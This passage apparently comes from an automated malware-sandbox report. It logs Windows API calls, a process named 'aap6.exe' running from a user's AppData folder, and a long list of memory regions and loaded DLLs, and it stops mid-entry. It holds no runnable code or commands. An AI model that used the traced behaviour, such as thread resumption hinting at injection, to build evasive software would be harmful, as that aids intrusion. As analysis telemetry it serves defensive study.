	[0116.669] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6fa10000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0116.670] GetLastError () returned 0xcb
	[0116.670] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6d660000, lpmodinfo=0x249bf14, cb=0xc | out: lpmodinfo=0x249bf14*(lpBaseOfDll=0x6d660000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0116.670] GetLastError () returned 0xcb
	[0116.670] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6d660000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0116.671] GetLastError () returned 0xcb
	[0116.671] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6d660000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0116.672] GetLastError () returned 0xcb
	[0116.672] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6bb40000, lpmodinfo=0x249d0a0, cb=0xc | out: lpmodinfo=0x249d0a0*(lpBaseOfDll=0x6bb40000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0116.672] GetLastError () returned 0xcb
	[0116.672] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6bb40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0116.673] GetLastError () returned 0xcb
	[0116.673] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6bb40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0116.673] GetLastError () returned 0xcb
	[0116.673] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77650000, lpmodinfo=0x249e284, cb=0xc | out: lpmodinfo=0x249e284*(lpBaseOfDll=0x77650000, SizeOfImage=0x5000, EntryPoint=0x77651438)) returned 1
	[0116.674] GetLastError () returned 0xcb
	[0116.674] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77650000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0116.675] GetLastError () returned 0xcb
	[0116.675] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77650000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0116.675] GetLastError () returned 0xcb
	[0116.675] CloseHandle (hObject=0x1ec) returned 1
	[0116.675] GetLastError () returned 0xcb
	[0116.679] CoCreateGuid (in: pguid=0x3ed4f4 | out: pguid=0x3ed4f4*(Data1=0x8e9702be, Data2=0x57ad, Data3=0x4008, Data4=([0]=0x89, [1]=0x3b, [2]=0x97, [3]=0x93, [4]=0xcf, [5]=0x25, [6]=0xde, [7]=0x2f))) returned 0x0
	[0116.688] CoCreateGuid (in: pguid=0x3eda58 | out: pguid=0x3eda58*(Data1=0x5e932ae7, Data2=0xc332, Data3=0x4676, Data4=([0]=0x97, [1]=0x51, [2]=0xbc, [3]=0x1e, [4]=0x5a, [5]=0xd6, [6]=0x5, [7]=0x49))) returned 0x0
	[0116.696] GetProcAddress (hModule=0x75fb0000, lpProcName="ResumeThread") returned 0x75fc43ef
	[0117.465] CoGetContextToken (in: pToken=0x3ef9ec | out: pToken=0x3ef9ec) returned 0x0
	[0117.465] CObjectContext::QueryInterface () returned 0x0
	[0117.465] CObjectContext::GetCurrentThreadType () returned 0x0
	[0117.465] Release () returned 0x0
	[0117.483] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x13880, cHandles=0x1, pHandles=0x1a9f50*=0x94, lpdwindex=0x3ef858 | out: lpdwindex=0x3ef858) returned 0x0

Thread:
	id = 43
	os_tid = 0xa00


Thread:
	id = 44
	os_tid = 0xa04

	[0113.285] CoGetContextToken (in: pToken=0x44cf7c8 | out: pToken=0x44cf7c8) returned 0x800401f0
	[0113.285] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0116.298] RegCloseKey (hKey=0x1f0) returned 0x0
	[0117.528] RegCloseKey (hKey=0x80000004) returned 0x0
	[0117.529] CloseHandle (hObject=0x198) returned 1
	[0117.529] GetLastError () returned 0x0
	[0117.529] UnmapViewOfFile (lpBaseAddress=0x550000) returned 1

Thread:
	id = 45
	os_tid = 0xa0c


Thread:
	id = 47
	os_tid = 0xa18


Thread:
	id = 50
	os_tid = 0xa24


Thread:
	id = 51
	os_tid = 0xa28


Thread:
	id = 52
	os_tid = 0xa2c


Process:
	id = "4"
	image_name = "aap6.exe"
	filename = "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe"
	page_root = "0x52c65000"
	os_pid = "0xa10"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "3"
	os_parent_pid = "0x9f8"
	cmd_line = "\"C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe\""
	cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\"
	os_username = "XABNCPUWKW\\kFT6uTQW"
	os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ed36" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 929
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 930
	        start_va = 0x30000
	          end_va = 0x31fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 931
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x40000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 932
	        start_va = 0x50000
	          end_va = 0x53fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000050000"
	        filename = ""

Region:
	              id = 933
	        start_va = 0x170000
	          end_va = 0x1affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 934
	        start_va = 0x1e0000
	          end_va = 0x2dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001e0000"
	        filename = ""

Region:
	              id = 935
	        start_va = 0x900000
	          end_va = 0x93ffff
	     entry_point = 0x900000
	     region_type = mapped_file
	            name = "aap6.exe"
	        filename = "\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe")

Region:
	              id = 936
	        start_va = 0x77a00000
	          end_va = 0x77ba8fff
	     entry_point = 0x77a00000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 937
	        start_va = 0x77be0000
	          end_va = 0x77d5ffff
	     entry_point = 0x77be0000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 938
	        start_va = 0x7efb0000
	          end_va = 0x7efd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efb0000"
	        filename = ""

Region:
	              id = 939
	        start_va = 0x7efdb000
	          end_va = 0x7efddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdb000"
	        filename = ""

Region:
	              id = 940
	        start_va = 0x7efde000
	          end_va = 0x7efdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efde000"
	        filename = ""

Region:
	              id = 941
	        start_va = 0x7efdf000
	          end_va = 0x7efdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdf000"
	        filename = ""

Region:
	              id = 942
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 943
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 944
	        start_va = 0x7fff0000
	          end_va = 0x7fffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 945
	        start_va = 0x400000
	          end_va = 0x433fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000400000"
	        filename = ""

Region:
	              id = 946
	        start_va = 0x570000
	          end_va = 0x5effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000570000"
	        filename = ""

Region:
	              id = 947
	        start_va = 0x74f70000
	          end_va = 0x74f77fff
	     entry_point = 0x74f70000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")

Region:
	              id = 948
	        start_va = 0x74f80000
	          end_va = 0x74fdbfff
	     entry_point = 0x74f80000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 949
	        start_va = 0x74fe0000
	          end_va = 0x7501efff
	     entry_point = 0x74fe0000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 950
	        start_va = 0x777e0000
	          end_va = 0x778fefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000777e0000"
	        filename = ""

Region:
	              id = 951
	        start_va = 0x77900000
	          end_va = 0x779f9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000077900000"
	        filename = ""

Region:
	              id = 952
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 953
	        start_va = 0x60000
	          end_va = 0xc6fff
	     entry_point = 0x60000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 954
	        start_va = 0x720000
	          end_va = 0x81ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000720000"
	        filename = ""

Region:
	              id = 955
	        start_va = 0x74620000
	          end_va = 0x74669fff
	     entry_point = 0x74620000
	     region_type = mapped_file
	            name = "mscoree.dll"
	        filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll")

Region:
	              id = 956
	        start_va = 0x75e80000
	          end_va = 0x75ec5fff
	     entry_point = 0x75e80000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")

Region:
	              id = 957
	        start_va = 0x75fb0000
	          end_va = 0x760bffff
	     entry_point = 0x75fb0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")

Region:
	              id = 958
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 959
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 960
	        start_va = 0x110000
	          end_va = 0x14ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000110000"
	        filename = ""

Region:
	              id = 961
	        start_va = 0x3e0000
	          end_va = 0x3effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003e0000"
	        filename = ""

Region:
	              id = 962
	        start_va = 0x560000
	          end_va = 0x56ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000560000"
	        filename = ""

Region:
	              id = 963
	        start_va = 0x75730000
	          end_va = 0x7573bfff
	     entry_point = 0x75730000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")

Region:
	              id = 964
	        start_va = 0x75740000
	          end_va = 0x7579ffff
	     entry_point = 0x75740000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")

Region:
	              id = 965
	        start_va = 0x759e0000
	          end_va = 0x759f8fff
	     entry_point = 0x759e0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")

Region:
	              id = 966
	        start_va = 0x75dd0000
	          end_va = 0x75e7bfff
	     entry_point = 0x75dd0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")

Region:
	              id = 967
	        start_va = 0x770d0000
	          end_va = 0x771bffff
	     entry_point = 0x770d0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")

Region:
	              id = 968
	        start_va = 0x77740000
	          end_va = 0x777dffff
	     entry_point = 0x77740000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")

Region:
	              id = 969
	        start_va = 0x745a0000
	          end_va = 0x74619fff
	     entry_point = 0x745a0000
	     region_type = mapped_file
	            name = "mscoreei.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")

Region:
	              id = 970
	        start_va = 0x360000
	          end_va = 0x39ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000360000"
	        filename = ""

Region:
	              id = 971
	        start_va = 0x940000
	          end_va = 0xac7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000940000"
	        filename = ""

Region:
	              id = 972
	        start_va = 0x757d0000
	          end_va = 0x7586cfff
	     entry_point = 0x757d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")

Region:
	              id = 973
	        start_va = 0x75a90000
	          end_va = 0x75aeffff
	     entry_point = 0x75a90000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 974
	        start_va = 0x75d40000
	          end_va = 0x75dcffff
	     entry_point = 0x75d40000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")

Region:
	              id = 975
	        start_va = 0x76380000
	          end_va = 0x76389fff
	     entry_point = 0x76380000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")

Region:
	              id = 976
	        start_va = 0x771c0000
	          end_va = 0x772bffff
	     entry_point = 0x771c0000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")

Region:
	              id = 977
	        start_va = 0x773c0000
	          end_va = 0x77416fff
	     entry_point = 0x773c0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")

Region:
	              id = 978
	        start_va = 0x77670000
	          end_va = 0x7773bfff
	     entry_point = 0x77670000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")

Region:
	              id = 979
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 980
	        start_va = 0x30000
	          end_va = 0x30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 981
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000d0000"
	        filename = ""

Region:
	              id = 982
	        start_va = 0xad0000
	          end_va = 0xc50fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000ad0000"
	        filename = ""

Region:
	              id = 983
	        start_va = 0xc60000
	          end_va = 0x205ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000c60000"
	        filename = ""

Region:
	              id = 984
	        start_va = 0x2240000
	          end_va = 0x224ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002240000"
	        filename = ""

Region:
	              id = 985
	        start_va = 0x6f050000
	          end_va = 0x6f5fafff
	     entry_point = 0x6f050000
	     region_type = mapped_file
	            name = "mscorwks.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")

Region:
	              id = 986
	        start_va = 0x74cb0000
	          end_va = 0x74d4afff
	     entry_point = 0x74cb0000
	     region_type = mapped_file
	            name = "msvcr80.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")

Region:
	              id = 990
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000e0000"
	        filename = ""

Region:
	              id = 991
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000f0000"
	        filename = ""

Region:
	              id = 992
	        start_va = 0x100000
	          end_va = 0x10ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000100000"
	        filename = ""

Region:
	              id = 993
	        start_va = 0x150000
	          end_va = 0x15ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000150000"
	        filename = ""

Region:
	              id = 994
	        start_va = 0x160000
	          end_va = 0x16ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000160000"
	        filename = ""

Region:
	              id = 995
	        start_va = 0x1b0000
	          end_va = 0x1bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001b0000"
	        filename = ""

Region:
	              id = 996
	        start_va = 0x1c0000
	          end_va = 0x1cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001c0000"
	        filename = ""

Region:
	              id = 997
	        start_va = 0x1d0000
	          end_va = 0x1dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001d0000"
	        filename = ""

Region:
	              id = 998
	        start_va = 0x480000
	          end_va = 0x4bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000480000"
	        filename = ""

Region:
	              id = 999
	        start_va = 0x2060000
	          end_va = 0x215ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002060000"
	        filename = ""

Region:
	              id = 1000
	        start_va = 0x76480000
	          end_va = 0x770c9fff
	     entry_point = 0x76480000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")

Region:
	              id = 1001
	        start_va = 0x7efd8000
	          end_va = 0x7efdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd8000"
	        filename = ""

Region:
	              id = 1002
	        start_va = 0x2e0000
	          end_va = 0x2e0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000002e0000"
	        filename = ""

Region:
	              id = 1003
	        start_va = 0x2250000
	          end_va = 0x251efff
	     entry_point = 0x2250000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1004
	        start_va = 0x74590000
	          end_va = 0x7459afff
	     entry_point = 0x74590000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")

Region:
	              id = 1005
	        start_va = 0x75be0000
	          end_va = 0x75d3bfff
	     entry_point = 0x75be0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")

Region:
	              id = 1017
	        start_va = 0x310000
	          end_va = 0x34ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000310000"
	        filename = ""

Region:
	              id = 1018
	        start_va = 0x4c0000
	          end_va = 0x55ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000004c0000"
	        filename = ""

Region:
	              id = 1019
	        start_va = 0x2520000
	          end_va = 0x451ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002520000"
	        filename = ""

Region:
	              id = 1020
	        start_va = 0x4520000
	          end_va = 0x461ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004520000"
	        filename = ""

Region:
	              id = 1021
	        start_va = 0x6de00000
	          end_va = 0x6e8f7fff
	     entry_point = 0x6de00000
	     region_type = mapped_file
	            name = "mscorlib.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")

Region:
	              id = 1022
	        start_va = 0x7efd5000
	          end_va = 0x7efd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd5000"
	        filename = ""

Region:
	              id = 1023
	        start_va = 0x74ee0000
	          end_va = 0x74f5ffff
	     entry_point = 0x74ee0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")

Region:
	              id = 1024
	        start_va = 0x4620000
	          end_va = 0x477ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004620000"
	        filename = ""

Region:
	              id = 1025
	        start_va = 0x5f0000
	          end_va = 0x6cefff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000005f0000"
	        filename = ""

Region:
	              id = 1026
	        start_va = 0x2f0000
	          end_va = 0x2f2fff
	     entry_point = 0x2f0000
	     region_type = mapped_file
	            name = "l_intl.nls"
	        filename = "\\Windows\\SysWOW64\\l_intl.nls" (normalized: "c:\\windows\\syswow64\\l_intl.nls")

Region:
	              id = 1027
	        start_va = 0x300000
	          end_va = 0x30ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000300000"
	        filename = ""

Region:
	              id = 1028
	        start_va = 0x350000
	          end_va = 0x350fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000350000"
	        filename = ""

Region:
	              id = 1029
	        start_va = 0x6fa10000
	          end_va = 0x6fa6afff
	     entry_point = 0x6fa10000
	     region_type = mapped_file
	            name = "mscorjit.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")

Region:
	              id = 1030
	        start_va = 0x3a0000
	          end_va = 0x3affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003a0000"
	        filename = ""

Region:
	              id = 1031
	        start_va = 0x3b0000
	          end_va = 0x3bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003b0000"
	        filename = ""

Region:
	              id = 1032
	        start_va = 0x6b1e0000
	          end_va = 0x6bdbdfff
	     entry_point = 0x6b1e0000
	     region_type = mapped_file
	            name = "system.windows.forms.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Windows.Forms\\3afcd5168c7a6cb02eab99d7fd71e102\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.windows.forms\\3afcd5168c7a6cb02eab99d7fd71e102\\system.windows.forms.ni.dll")

Region:
	              id = 1033
	        start_va = 0x6cec0000
	          end_va = 0x6d65bfff
	     entry_point = 0x6cec0000
	     region_type = mapped_file
	            name = "system.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")

Region:
	              id = 1034
	        start_va = 0x753e0000
	          end_va = 0x75567fff
	     entry_point = 0x753e0000
	     region_type = mapped_file
	            name = "system.drawing.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")

Region:
	              id = 1035
	        start_va = 0x3c0000
	          end_va = 0x3cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003c0000"
	        filename = ""

Region:
	              id = 1036
	        start_va = 0x3d0000
	          end_va = 0x3d4fff
	     entry_point = 0x3d0000
	     region_type = mapped_file
	            name = "sorttbls.nlp"
	        filename = "\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp")

Region:
	              id = 1037
	        start_va = 0x6d0000
	          end_va = 0x710fff
	     entry_point = 0x6d0000
	     region_type = mapped_file
	            name = "sortkey.nlp"
	        filename = "\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp")

Region:
	              id = 1038
	        start_va = 0x75220000
	          end_va = 0x75236fff
	     entry_point = 0x75220000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll")

Region:
	              id = 1039
	        start_va = 0x75240000
	          end_va = 0x753dafff
	     entry_point = 0x75240000
	     region_type = mapped_file
	            name = "microsoft.visualbasic.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")

Region:
	              id = 1040
	        start_va = 0x74420000
	          end_va = 0x7445afff
	     entry_point = 0x74420000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 1041
	        start_va = 0x74460000
	          end_va = 0x74475fff
	     entry_point = 0x74460000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll")

Region:
	              id = 1042
	        start_va = 0x2200000
	          end_va = 0x223ffff
